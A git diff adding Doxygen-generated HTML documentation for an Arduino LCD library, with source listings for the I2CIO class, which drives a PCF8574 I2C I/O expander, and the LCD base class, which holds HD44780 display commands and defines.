+00071    return ( _initialised );
+00072 }
+00073 
+00074 //
+00075 // pinMode
+00076 void I2CIO::pinMode ( uint8_t pin, uint8_t dir )
+00077 {
+00078    if ( _initialised )
+00079    {
+00080       if ( OUTPUT == dir )
+00081       {
+00082          _dirMask &= ~( 1 << pin );
+00083       }
+00084       else 
+00085       {
+00086          _dirMask |= ( 1 << pin );
+00087       }
+00088    }
+00089 }
+00090 
+00091 //
+00092 // portMode
+00093 void I2CIO::portMode ( uint8_t dir )
+00094 {
+00095    
+00096    if ( _initialised )
+00097    {
+00098       if ( dir == INPUT )
+00099       {
+00100          _dirMask = 0xFF;
+00101       }
+00102       else
+00103       {
+00104          _dirMask = 0x00;
+00105       }
+00106    }
+00107 }
+00108 
+00109 //
+00110 // read
+00111 uint8_t I2CIO::read ( void )
+00112 {
+00113    uint8_t retVal = 0;
+00114    
+00115    if ( _initialised )
+00116    {
+00117       Wire.requestFrom ( _i2cAddr, (uint8_t)1 );
+00118 #if (ARDUINO <  100)
+00119       retVal = ( _dirMask & Wire.receive ( ) );
+00120 #else
+00121       retVal = ( _dirMask & Wire.read ( ) );
+00122 #endif      
+00123       
+00124    }
+00125    return ( retVal );
+00126 }
+00127 
+00128 //
+00129 // write
+00130 int I2CIO::write ( uint8_t value )
+00131 {
+00132    int status = 0;
+00133    
+00134    if ( _initialised )
+00135    {
+00136       // Only write HIGH the values of the ports that have been initialised as
+00137       // outputs updating the output shadow of the device
+00138       _shadow = ( value & ~(_dirMask) );
+00139    
+00140       Wire.beginTransmission ( _i2cAddr );
+00141 #if (ARDUINO <  100)
+00142       Wire.send ( _shadow );
+00143 #else
+00144       Wire.write ( _shadow );
+00145 #endif  
+00146       status = Wire.endTransmission ();
+00147    }
+00148    return ( (status == 0) );
+00149 }
+00150 
+00151 //
+00152 // digitalRead
+00153 uint8_t I2CIO::digitalRead ( uint8_t pin )
+00154 {
+00155    uint8_t pinVal = 0;
+00156    
+00157    // Check if initialised and that the pin is within range of the device
+00158    // -------------------------------------------------------------------
+00159    if ( ( _initialised ) && ( pin <= 7 ) )
+00160    {
+00161       // Remove the values which are not inputs and get the value of the pin
+00162       pinVal = this->read() & _dirMask;
+00163       pinVal = ( pinVal >> pin ) & 0x01; // Get the pin value
+00164    }
+00165    return (pinVal);
+00166 }
+00167 
+00168 //
+00169 // digitalWrite
+00170 int I2CIO::digitalWrite ( uint8_t pin, uint8_t level )
+00171 {
+00172    uint8_t writeVal;
+00173    int status = 0;
+00174    
+00175    // Check if initialised and that the pin is within range of the device
+00176    // -------------------------------------------------------------------
+00177    if ( ( _initialised ) && ( pin <= 7 ) )
+00178    {
+00179       // Only write to HIGH the port if the port has been configured as
+00180       // an OUTPUT pin. Add the new state of the pin to the shadow
+00181       writeVal = ( 1 << pin ) & ~_dirMask;
+00182       if ( level == HIGH )
+00183       {
+00184          _shadow |= writeVal;
+00185                                                       
+00186       }
+00187       else 
+00188       {
+00189          _shadow &= ~writeVal;
+00190       }
+00191       status = this->write ( _shadow );
+00192    }
+00193    return ( status );
+00194 }
+00195 
+00196 //
+00197 // PRIVATE METHODS
+00198 // ---------------------------------------------------------------------------
+
+
+ + + + +
+ +
+ +
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+ + diff --git a/libraries/LiquidCrystal/docs/html/_i2_c_i_o_8h.html b/libraries/LiquidCrystal/docs/html/_i2_c_i_o_8h.html new file mode 100644 index 0000000..be27c2c --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/_i2_c_i_o_8h.html @@ -0,0 +1,114 @@ + + + + +LCD Library: /Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/I2CIO.h File Reference + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.2.1
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+
+Classes | +Defines
+
+
/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/I2CIO.h File Reference
+
+
+
#include <inttypes.h>
+
+

Go to the source code of this file.

+ + + + + +

+Classes

class  I2CIO

+Defines

#define _I2CIO_VERSION   "1.0.0"
+

Define Documentation

+ +
+
+ + + + +
#define _I2CIO_VERSION   "1.0.0"
+
+
+ +

Definition at line 32 of file I2CIO.h.

+ +
+
+
+ + + + +
+ +
+ +
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+ + diff --git a/libraries/LiquidCrystal/docs/html/_i2_c_i_o_8h_source.html b/libraries/LiquidCrystal/docs/html/_i2_c_i_o_8h_source.html new file mode 100644 index 0000000..23d77fd --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/_i2_c_i_o_8h_source.html @@ -0,0 +1,147 @@ + + + + +LCD Library: /Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/I2CIO.h Source File + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.2.1
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+
/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/I2CIO.h
+
+
+Go to the documentation of this file.
00001 // ---------------------------------------------------------------------------
+00002 // Created by Francisco Malpartida on 20/08/11.
+00003 // Copyright 2011 - Under creative commons license 3.0:
+00004 //        Attribution-ShareAlike CC BY-SA
+00005 //
+00006 // This software is furnished "as is", without technical support, and with no 
+00007 // warranty, express or implied, as to its usefulness for any purpose.
+00008 //
+00009 // Thread Safe: No
+00010 // Extendable: Yes
+00011 //
+00012 // @file I2CIO.h
+00013 // This file implements a basic IO library using the PCF8574 I2C IO Expander
+00014 // chip.
+00015 // 
+00016 // @brief 
+00017 // Implement a basic IO library to drive the PCF8574* I2C IO Expander ASIC.
+00018 // The library implements basic IO general methods to configure IO pin direction
+00019 // read and write uint8_t operations and basic pin level routines to set or read
+00020 // a particular IO port.
+00021 //
+00022 // @version API 1.0.0
+00023 //
+00024 // @author F. Malpartida - fmalpartida@gmail.com
+00025 // ---------------------------------------------------------------------------
+00026 
+00027 #ifndef _I2CIO_H_
+00028 #define _I2CIO_H_
+00029 
+00030 #include <inttypes.h>
+00031 
+00032 #define _I2CIO_VERSION "1.0.0"
+00033 
+00041 class I2CIO  
+00042 {
+00043 public:
+00049    I2CIO ( );
+00050    
+00062    int begin ( uint8_t i2cAddr );
+00063    
+00073    void pinMode ( uint8_t pin, uint8_t dir );
+00074    
+00083    void portMode ( uint8_t dir );
+00084    
+00094    uint8_t read ( void );
+00095    
+00108    uint8_t digitalRead ( uint8_t pin );
+00109    
+00123    int write ( uint8_t value );
+00124    
+00136    int digitalWrite ( uint8_t pin, uint8_t level );
+00137    
+00138    
+00139    
+00140 private:
+00141    uint8_t _shadow;      // Shadow output
+00142    uint8_t _dirMask;     // Direction mask
+00143    uint8_t _i2cAddr;     // I2C address
+00144    bool    _initialised; // Initialised object
+00145    
+00146 };
+00147 
+00148 #endif
+
+
+ + + + +
+ +
+ +
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+ + diff --git a/libraries/LiquidCrystal/docs/html/_l_c_d_8cpp.html b/libraries/LiquidCrystal/docs/html/_l_c_d_8cpp.html new file mode 100644 index 0000000..af4ed6f --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/_l_c_d_8cpp.html @@ -0,0 +1,93 @@ + + + + +LCD Library: /Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.cpp File Reference + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.2.1
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+
+
/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.cpp File Reference
+
+
+
#include <stdio.h>
+#include <string.h>
+#include <inttypes.h>
+#include <WProgram.h>
+#include "LCD.h"
+
+

Go to the source code of this file.

+ +
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+
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LCD Library 1.2.1
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LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
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+ + +
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+
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+
+Go to the documentation of this file.
00001 // ---------------------------------------------------------------------------
+00002 // Created by Francisco Malpartida on 20/08/11.
+00003 // Copyright 2011 - Under creative commons license 3.0:
+00004 //        Attribution-ShareAlike CC BY-SA
+00005 //
+00006 // This software is furnished "as is", without technical support, and with no 
+00007 // warranty, express or implied, as to its usefulness for any purpose.
+00008 //
+00009 // Thread Safe: No
+00010 // Extendable: Yes
+00011 //
+00012 // @file LCD.cpp
+00013 // This file implements a basic liquid crystal library that comes as standard
+00014 // in the Arduino SDK.
+00015 // 
+00016 // @brief 
+00017 // This is a basic implementation of the HD44780 library of the
+00018 // Arduino SDK. This library is a refactored version of the one supplied
+00019 // in the Arduino SDK in such a way that it simplifies its extension
+00020 // to support other mechanism to communicate to LCDs such as I2C, Serial, SR, ...
+00021 // The original library has been reworked in such a way that this will be
+00022 // the base class implementing all generic methods to command an LCD based
+00023 // on the Hitachi HD44780 and compatible chipsets.
+00024 //
+00025 // This base class is a pure abstract class and needs to be extended. As reference,
+00026 // it has been extended to drive 4 and 8 bit mode control, LCDs and I2C extension
+00027 // backpacks such as the I2CLCDextraIO using the PCF8574* I2C IO Expander ASIC.
+00028 //
+00029 //
+00030 // @version API 1.1.0
+00031 //
+00032 // 2012.03.29 bperrybap - changed comparision to use LCD_5x8DOTS rather than 0
+00033 // @author F. Malpartida - fmalpartida@gmail.com
+00034 // ---------------------------------------------------------------------------
+00035 #include <stdio.h>
+00036 #include <string.h>
+00037 #include <inttypes.h>
+00038 
+00039 #if (ARDUINO <  100)
+00040 #include <WProgram.h>
+00041 #else
+00042 #include <Arduino.h>
+00043 #endif
+00044 #include "LCD.h"
+00045 
+00046 // CLASS CONSTRUCTORS
+00047 // ---------------------------------------------------------------------------
+00048 // Constructor
+00049 LCD::LCD () 
+00050 {
+00051    
+00052 }
+00053 
+00054 // PUBLIC METHODS
+00055 // ---------------------------------------------------------------------------
+00056 // When the display powers up, it is configured as follows:
+00057 //
+00058 // 1. Display clear
+00059 // 2. Function set: 
+00060 //    DL = 1; 8-bit interface data 
+00061 //    N = 0; 1-line display 
+00062 //    F = 0; 5x8 dot character font 
+00063 // 3. Display on/off control: 
+00064 //    D = 0; Display off 
+00065 //    C = 0; Cursor off 
+00066 //    B = 0; Blinking off 
+00067 // 4. Entry mode set: 
+00068 //    I/D = 1; Increment by 1 
+00069 //    S = 0; No shift 
+00070 //
+00071 // Note, however, that resetting the Arduino doesn't reset the LCD, so we
+00072 // can't assume that its in that state when a sketch starts (and the
+00073 // LiquidCrystal constructor is called).
+00074 // A call to begin() will reinitialize the LCD.
+00075 //
+00076 void LCD::begin(uint8_t cols, uint8_t lines, uint8_t dotsize) 
+00077 {
+00078    if (lines > 1) 
+00079    {
+00080       _displayfunction |= LCD_2LINE;
+00081    }
+00082    _numlines = lines;
+00083    _cols = cols;
+00084    
+00085    // for some 1 line displays you can select a 10 pixel high font
+00086    // ------------------------------------------------------------
+00087    if ((dotsize != LCD_5x8DOTS) && (lines == 1)) 
+00088    {
+00089       _displayfunction |= LCD_5x10DOTS;
+00090    }
+00091    
+00092    // SEE PAGE 45/46 FOR INITIALIZATION SPECIFICATION!
+00093    // according to datasheet, we need at least 40ms after power rises above 2.7V
+00094    // before sending commands. Arduino can turn on way before 4.5V so we'll wait 
+00095    // 50
+00096    // ---------------------------------------------------------------------------
+00097    delay (100); // 100ms delay
+00098    
+00099    //put the LCD into 4 bit or 8 bit mode
+00100    // -------------------------------------
+00101    if (! (_displayfunction & LCD_8BITMODE)) 
+00102    {
+00103       // this is according to the hitachi HD44780 datasheet
+00104       // figure 24, pg 46
+00105       
+00106       // we start in 8bit mode, try to set 4 bit mode
+00107       send(0x03, FOUR_BITS);
+00108       delayMicroseconds(4500); // wait min 4.1ms
+00109       
+00110       // second try
+00111       send ( 0x03, FOUR_BITS );
+00112       delayMicroseconds(4500); // wait min 4.1ms
+00113       
+00114       // third go!
+00115       send( 0x03, FOUR_BITS );
+00116       delayMicroseconds(150);
+00117       
+00118       // finally, set to 4-bit interface
+00119       send ( 0x02, FOUR_BITS ); 
+00120    } 
+00121    else 
+00122    {
+00123       // this is according to the hitachi HD44780 datasheet
+00124       // page 45 figure 23
+00125       
+00126       // Send function set command sequence
+00127       command(LCD_FUNCTIONSET | _displayfunction);
+00128       delayMicroseconds(4500);  // wait more than 4.1ms
+00129       
+00130       // second try
+00131       command(LCD_FUNCTIONSET | _displayfunction);
+00132       delayMicroseconds(150);
+00133       
+00134       // third go
+00135       command(LCD_FUNCTIONSET | _displayfunction);
+00136    }
+00137    
+00138    // finally, set # lines, font size, etc.
+00139    command(LCD_FUNCTIONSET | _displayfunction);  
+00140    
+00141    // turn the display on with no cursor or blinking default
+00142    _displaycontrol = LCD_DISPLAYON | LCD_CURSOROFF | LCD_BLINKOFF;  
+00143    display();
+00144    
+00145    // clear the LCD
+00146    clear();
+00147    
+00148    // Initialize to default text direction (for romance languages)
+00149    _displaymode = LCD_ENTRYLEFT | LCD_ENTRYSHIFTDECREMENT;
+00150    // set the entry mode
+00151    command(LCD_ENTRYMODESET | _displaymode);
+00152 
+00153    backlight();
+00154 
+00155 }
+00156 
+00157 // Common LCD Commands
+00158 // ---------------------------------------------------------------------------
+00159 void LCD::clear()
+00160 {
+00161    command(LCD_CLEARDISPLAY);             // clear display, set cursor position to zero
+00162    delayMicroseconds(HOME_CLEAR_EXEC);    // this command is time consuming
+00163 }
+00164 
+00165 void LCD::home()
+00166 {
+00167    command(LCD_RETURNHOME);             // set cursor position to zero
+00168    delayMicroseconds(HOME_CLEAR_EXEC);  // This command is time consuming
+00169 }
+00170 
+00171 void LCD::setCursor(uint8_t col, uint8_t row)
+00172 {
+00173    const byte row_offsetsDef[]   = { 0x00, 0x40, 0x14, 0x54 }; // For regular LCDs
+00174    const byte row_offsetsLarge[] = { 0x00, 0x40, 0x10, 0x50 }; // For 16x4 LCDs
+00175    
+00176    if ( row >= _numlines ) 
+00177    {
+00178       row = _numlines-1;    // rows start at 0
+00179    }
+00180    
+00181    // 16x4 LCDs have special memory map layout
+00182    // ----------------------------------------
+00183    if ( _cols == 16 && _numlines == 4 )
+00184    {
+00185       command(LCD_SETDDRAMADDR | (col + row_offsetsLarge[row]));
+00186    }
+00187    else 
+00188    {
+00189       command(LCD_SETDDRAMADDR | (col + row_offsetsDef[row]));
+00190    }
+00191    
+00192 }
+00193 
+00194 // Turn the display on/off
+00195 void LCD::noDisplay() 
+00196 {
+00197    _displaycontrol &= ~LCD_DISPLAYON;
+00198    command(LCD_DISPLAYCONTROL | _displaycontrol);
+00199 }
+00200 
+00201 void LCD::display() 
+00202 {
+00203    _displaycontrol |= LCD_DISPLAYON;
+00204    command(LCD_DISPLAYCONTROL | _displaycontrol);
+00205 }
+00206 
+00207 // Turns the underline cursor on/off
+00208 void LCD::noCursor() 
+00209 {
+00210    _displaycontrol &= ~LCD_CURSORON;
+00211    command(LCD_DISPLAYCONTROL | _displaycontrol);
+00212 }
+00213 void LCD::cursor() 
+00214 {
+00215    _displaycontrol |= LCD_CURSORON;
+00216    command(LCD_DISPLAYCONTROL | _displaycontrol);
+00217 }
+00218 
+00219 // Turns on/off the blinking cursor
+00220 void LCD::noBlink() 
+00221 {
+00222    _displaycontrol &= ~LCD_BLINKON;
+00223    command(LCD_DISPLAYCONTROL | _displaycontrol);
+00224 }
+00225 
+00226 void LCD::blink() 
+00227 {
+00228    _displaycontrol |= LCD_BLINKON;
+00229    command(LCD_DISPLAYCONTROL | _displaycontrol);
+00230 }
+00231 
+00232 // These commands scroll the display without changing the RAM
+00233 void LCD::scrollDisplayLeft(void) 
+00234 {
+00235    command(LCD_CURSORSHIFT | LCD_DISPLAYMOVE | LCD_MOVELEFT);
+00236 }
+00237 
+00238 void LCD::scrollDisplayRight(void) 
+00239 {
+00240    command(LCD_CURSORSHIFT | LCD_DISPLAYMOVE | LCD_MOVERIGHT);
+00241 }
+00242 
+00243 // This is for text that flows Left to Right
+00244 void LCD::leftToRight(void) 
+00245 {
+00246    _displaymode |= LCD_ENTRYLEFT;
+00247    command(LCD_ENTRYMODESET | _displaymode);
+00248 }
+00249 
+00250 // This is for text that flows Right to Left
+00251 void LCD::rightToLeft(void) 
+00252 {
+00253    _displaymode &= ~LCD_ENTRYLEFT;
+00254    command(LCD_ENTRYMODESET | _displaymode);
+00255 }
+00256 
+00257 // This method moves the cursor one space to the right
+00258 void LCD::moveCursorRight(void)
+00259 {
+00260    command(LCD_CURSORSHIFT | LCD_CURSORMOVE | LCD_MOVERIGHT);
+00261 }
+00262 
+00263 // This method moves the cursor one space to the left
+00264 void LCD::moveCursorLeft(void)
+00265 {
+00266    command(LCD_CURSORSHIFT | LCD_CURSORMOVE | LCD_MOVELEFT);
+00267 }
+00268 
+00269 
+00270 // This will 'right justify' text from the cursor
+00271 void LCD::autoscroll(void) 
+00272 {
+00273    _displaymode |= LCD_ENTRYSHIFTINCREMENT;
+00274    command(LCD_ENTRYMODESET | _displaymode);
+00275 }
+00276 
+00277 // This will 'left justify' text from the cursor
+00278 void LCD::noAutoscroll(void) 
+00279 {
+00280    _displaymode &= ~LCD_ENTRYSHIFTINCREMENT;
+00281    command(LCD_ENTRYMODESET | _displaymode);
+00282 }
+00283 
+00284 // Write to CGRAM of new characters
+00285 void LCD::createChar(uint8_t location, uint8_t charmap[]) 
+00286 {
+00287    location &= 0x7;            // we only have 8 locations 0-7
+00288    
+00289    command(LCD_SETCGRAMADDR | (location << 3));
+00290    delayMicroseconds(30);
+00291    
+00292    for (int i=0; i<8; i++) 
+00293    {
+00294       write(charmap[i]);      // call the virtual write method
+00295       delayMicroseconds(40);
+00296    }
+00297 }
+00298 
+00299 //
+00300 // Switch on the backlight
+00301 void LCD::backlight ( void )
+00302 {
+00303    setBacklight(255);
+00304 }
+00305 
+00306 //
+00307 // Switch off the backlight
+00308 void LCD::noBacklight ( void )
+00309 {
+00310    setBacklight(0);
+00311 }
+00312 
+00313 //
+00314 // Switch fully on the LCD (backlight and LCD)
+00315 void LCD::on ( void )
+00316 {
+00317    display();
+00318    backlight();
+00319 }
+00320 
+00321 //
+00322 // Switch fully off the LCD (backlight and LCD) 
+00323 void LCD::off ( void )
+00324 {
+00325    noBacklight();
+00326    noDisplay();
+00327 }
+00328 
+00329 // General LCD commands - generic methods used by the rest of the commands
+00330 // ---------------------------------------------------------------------------
+00331 void LCD::command(uint8_t value) 
+00332 {
+00333    send(value, COMMAND);
+00334 }
+00335 
+00336 #if (ARDUINO <  100)
+00337 void LCD::write(uint8_t value)
+00338 {
+00339    send(value, DATA);
+00340 }
+00341 #else
+00342 size_t LCD::write(uint8_t value) 
+00343 {
+00344    send(value, DATA);
+00345    return 1;             // assume OK
+00346 }
+00347 #endif
+
+
+ + + + +
+ +
+ +
Generated on Thu Apr 5 2012 18:17:46 for LCD Library by  + +doxygen 1.7.4
+ + diff --git a/libraries/LiquidCrystal/docs/html/_l_c_d_8h.html b/libraries/LiquidCrystal/docs/html/_l_c_d_8h.html new file mode 100644 index 0000000..19ad58f --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/_l_c_d_8h.html @@ -0,0 +1,711 @@ + + + + +LCD Library: /Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h File Reference + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.2.1
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+
+Classes | +Defines | +Enumerations | +Functions
+
+
/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h File Reference
+
+
+
#include <WProgram.h>
+#include <inttypes.h>
+#include <Print.h>
+
+

Go to the source code of this file.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

+Classes

class  LCD

+Defines

#define BACKLIGHT_OFF   0
#define BACKLIGHT_ON   255
#define COMMAND   0
#define DATA   1
#define FOUR_BITS   2
#define HOME_CLEAR_EXEC   2000
#define LCD_1LINE   0x00
#define LCD_2LINE   0x08
#define LCD_4BITMODE   0x00
#define LCD_5x10DOTS   0x04
#define LCD_5x8DOTS   0x00
#define LCD_8BITMODE   0x10
#define LCD_BLINKOFF   0x00
#define LCD_BLINKON   0x01
#define LCD_CLEARDISPLAY   0x01
#define LCD_CURSORMOVE   0x00
#define LCD_CURSOROFF   0x00
#define LCD_CURSORON   0x02
#define LCD_CURSORSHIFT   0x10
#define LCD_DISPLAYCONTROL   0x08
#define LCD_DISPLAYMOVE   0x08
#define LCD_DISPLAYOFF   0x00
#define LCD_DISPLAYON   0x04
#define LCD_ENTRYLEFT   0x02
#define LCD_ENTRYMODESET   0x04
#define LCD_ENTRYRIGHT   0x00
#define LCD_ENTRYSHIFTDECREMENT   0x00
#define LCD_ENTRYSHIFTINCREMENT   0x01
#define LCD_FUNCTIONSET   0x20
#define LCD_MOVELEFT   0x00
#define LCD_MOVERIGHT   0x04
#define LCD_RETURNHOME   0x02
#define LCD_SETCGRAMADDR   0x40
#define LCD_SETDDRAMADDR   0x80

+Enumerations

enum  t_backlighPol { POSITIVE, +NEGATIVE + }

+Functions

static void waitUsec (uint16_t uSec)
+

Define Documentation

+ +
+
+ + + + +
#define BACKLIGHT_OFF   0
+
+
+

Backlight off constant declaration Used in combination with the setBacklight to swith off the LCD backlight. setBacklight

+ +

Definition at line 151 of file LCD.h.

+ +
+
+ +
+
+ + + + +
#define BACKLIGHT_ON   255
+
+
+

Backlight on constant declaration Used in combination with the setBacklight to swith on the LCD backlight. setBacklight

+ +

Definition at line 159 of file LCD.h.

+ +
+
+ +
+
+ + + + +
#define COMMAND   0
+
+
+ +

Definition at line 132 of file LCD.h.

+ +
+
+ +
+
+ + + + +
#define DATA   1
+
+
+ +

Definition at line 133 of file LCD.h.

+ +
+
+ +
+
+ + + + +
#define FOUR_BITS   2
+
+
+ +

Definition at line 134 of file LCD.h.

+ +
+
+ +
+
+ + + + +
#define HOME_CLEAR_EXEC   2000
+
+
+

Defines the duration of the home and clear commands This constant defines the time it takes for the home and clear commands in the LCD - Time in microseconds.

+ +

Definition at line 143 of file LCD.h.

+ +
+
+ +
+
+ + + + +
#define LCD_1LINE   0x00
+
+
+ +

Definition at line 125 of file LCD.h.

+ +
+
+ +
+
+ + + + +
#define LCD_2LINE   0x08
+
+
+ +

Definition at line 124 of file LCD.h.

+ +
+
+ +
+
+ + + + +
#define LCD_4BITMODE   0x00
+
+
+ +

Definition at line 123 of file LCD.h.

+ +
+
+ +
+
+ + + + +
#define LCD_5x10DOTS   0x04
+
+
+ +

Definition at line 126 of file LCD.h.

+ +
+
+ +
+
+ + + + +
#define LCD_5x8DOTS   0x00
+
+
+ +

Definition at line 127 of file LCD.h.

+ +
+
+ +
+
+ + + + +
#define LCD_8BITMODE   0x10
+
+
+ +

Definition at line 122 of file LCD.h.

+ +
+
+ +
+
+ + + + +
#define LCD_BLINKOFF   0x00
+
+
+ +

Definition at line 111 of file LCD.h.

+ +
+
+ +
+
+ + + + +
#define LCD_BLINKON   0x01
+
+
+ +

Definition at line 110 of file LCD.h.

+ +
+
+ +
+
+ + + + +
#define LCD_CLEARDISPLAY   0x01
+
+
+

All these definitions shouldn't be used unless you are writing a driver. All these definitions are for driver implementation only and shouldn't be used by applications.

+ +

Definition at line 88 of file LCD.h.

+ +
+
+ +
+
+ + + + +
#define LCD_CURSORMOVE   0x00
+
+
+ +

Definition at line 116 of file LCD.h.

+ +
+
+ +
+
+ + + + +
#define LCD_CURSOROFF   0x00
+
+
+ +

Definition at line 109 of file LCD.h.

+ +
+
+ +
+
+ + + + +
#define LCD_CURSORON   0x02
+
+
+ +

Definition at line 108 of file LCD.h.

+ +
+
+ +
+
+ + + + +
#define LCD_CURSORSHIFT   0x10
+
+
+ +

Definition at line 92 of file LCD.h.

+ +
+
+ +
+
+ + + + +
#define LCD_DISPLAYCONTROL   0x08
+
+
+ +

Definition at line 91 of file LCD.h.

+ +
+
+ +
+
+ + + + +
#define LCD_DISPLAYMOVE   0x08
+
+
+ +

Definition at line 115 of file LCD.h.

+ +
+
+ +
+
+ + + + +
#define LCD_DISPLAYOFF   0x00
+
+
+ +

Definition at line 107 of file LCD.h.

+ +
+
+ +
+
+ + + + +
#define LCD_DISPLAYON   0x04
+
+
+ +

Definition at line 106 of file LCD.h.

+ +
+
+ +
+
+ + + + +
#define LCD_ENTRYLEFT   0x02
+
+
+ +

Definition at line 100 of file LCD.h.

+ +
+
+ +
+
+ + + + +
#define LCD_ENTRYMODESET   0x04
+
+
+ +

Definition at line 90 of file LCD.h.

+ +
+
+ +
+
+ + + + +
#define LCD_ENTRYRIGHT   0x00
+
+
+ +

Definition at line 99 of file LCD.h.

+ +
+
+ +
+
+ + + + +
#define LCD_ENTRYSHIFTDECREMENT   0x00
+
+
+ +

Definition at line 102 of file LCD.h.

+ +
+
+ +
+
+ + + + +
#define LCD_ENTRYSHIFTINCREMENT   0x01
+
+
+ +

Definition at line 101 of file LCD.h.

+ +
+
+ +
+
+ + + + +
#define LCD_FUNCTIONSET   0x20
+
+
+ +

Definition at line 93 of file LCD.h.

+ +
+
+ +
+
+ + + + +
#define LCD_MOVELEFT   0x00
+
+
+ +

Definition at line 118 of file LCD.h.

+ +
+
+ +
+
+ + + + +
#define LCD_MOVERIGHT   0x04
+
+
+ +

Definition at line 117 of file LCD.h.

+ +
+
+ +
+
+ + + + +
#define LCD_RETURNHOME   0x02
+
+
+ +

Definition at line 89 of file LCD.h.

+ +
+
+ +
+
+ + + + +
#define LCD_SETCGRAMADDR   0x40
+
+
+ +

Definition at line 94 of file LCD.h.

+ +
+
+ +
+
+ + + + +
#define LCD_SETDDRAMADDR   0x80
+
+
+ +

Definition at line 95 of file LCD.h.

+ +
+
+

Enumeration Type Documentation

+ +
+
+ + + + +
enum t_backlighPol
+
+
+
Enumerator:
+ + +
POSITIVE  +
NEGATIVE  +
+
+
+ +

Definition at line 167 of file LCD.h.

+ +
+
+

Function Documentation

+ +
+
+ + + + + + + + +
static void waitUsec (uint16_t uSec) [inline, static]
+
+
+

Enables disables fast waits for write operations for LCD If defined, the library will avoid doing un-necessary waits. this can be done, because the time taken by Arduino's slow digitalWrite operations. If fast digitalIO operations, comment this line out or undefine the mode.

+

waits for a given time in microseconds (compilation dependent). Waits for a given time defined in microseconds depending on the FAST_MODE define. If the FAST_MODE is defined the call will return inmediatelly.

+
Parameters:
+ + +
uSec[in]time in microseconds.
+
+
+
Returns:
None
+ +

Definition at line 71 of file LCD.h.

+ +
+
+
+ + + + +
+ +
+ +
Generated on Thu Apr 5 2012 18:17:46 for LCD Library by  + +doxygen 1.7.4
+ + diff --git a/libraries/LiquidCrystal/docs/html/_l_c_d_8h_source.html b/libraries/LiquidCrystal/docs/html/_l_c_d_8h_source.html new file mode 100644 index 0000000..496e98e --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/_l_c_d_8h_source.html @@ -0,0 +1,301 @@ + + + + +LCD Library: /Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h Source File + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.2.1
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+
/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h
+
+
+Go to the documentation of this file.
00001 // ---------------------------------------------------------------------------
+00002 // Created by Francisco Malpartida on 20/08/11.
+00003 // Copyright 2011 - Under creative commons license 3.0:
+00004 //        Attribution-ShareAlike CC BY-SA
+00005 //
+00006 // This software is furnished "as is", without technical support, and with no 
+00007 // warranty, express or implied, as to its usefulness for any purpose.
+00008 //
+00009 // Thread Safe: No
+00010 // Extendable: Yes
+00011 //
+00012 // @file LCD.h
+00013 // This file implements a basic liquid crystal library that comes as standard
+00014 // in the Arduino SDK.
+00015 // 
+00016 // @brief 
+00017 // This is a basic implementation of the LiquidCrystal library of the
+00018 // Arduino SDK. This library is a refactored version of the one supplied
+00019 // in the Arduino SDK in such a way that it simplifies its extension
+00020 // to support other mechanism to communicate to LCDs such as I2C, Serial, SR, 
+00021 // The original library has been reworked in such a way that this will be
+00022 // the base class implementing all generic methods to command an LCD based
+00023 // on the Hitachi HD44780 and compatible chipsets.
+00024 //
+00025 // This base class is a pure abstract class and needs to be extended. As reference,
+00026 // it has been extended to drive 4 and 8 bit mode control, LCDs and I2C extension
+00027 // backpacks such as the I2CLCDextraIO using the PCF8574* I2C IO Expander ASIC.
+00028 //
+00029 // The functionality provided by this class and its base class is identical
+00030 // to the original functionality of the Arduino LiquidCrystal library.
+00031 //
+00032 // @version API 1.1.0
+00033 //
+00034 //
+00035 // @author F. Malpartida - fmalpartida@gmail.com
+00036 // ---------------------------------------------------------------------------
+00037 #ifndef _LCD_H_
+00038 #define _LCD_H_
+00039 
+00040 #if (ARDUINO <  100)
+00041 #include <WProgram.h>
+00042 #else
+00043 #include <Arduino.h>
+00044 #endif
+00045 
+00046 #include <inttypes.h>
+00047 #include <Print.h>
+00048 
+00049 
+00058 #ifdef __AVR__
+00059 #define FAST_MODE
+00060 #endif
+00061 
+00071 inline static void waitUsec ( uint16_t uSec )
+00072 {
+00073 #ifndef FAST_MODE
+00074    delayMicroseconds ( uSec );
+00075 #endif // FAST_MODE
+00076 }
+00077 
+00078 
+00086 // LCD Commands
+00087 // ---------------------------------------------------------------------------
+00088 #define LCD_CLEARDISPLAY        0x01
+00089 #define LCD_RETURNHOME          0x02
+00090 #define LCD_ENTRYMODESET        0x04
+00091 #define LCD_DISPLAYCONTROL      0x08
+00092 #define LCD_CURSORSHIFT         0x10
+00093 #define LCD_FUNCTIONSET         0x20
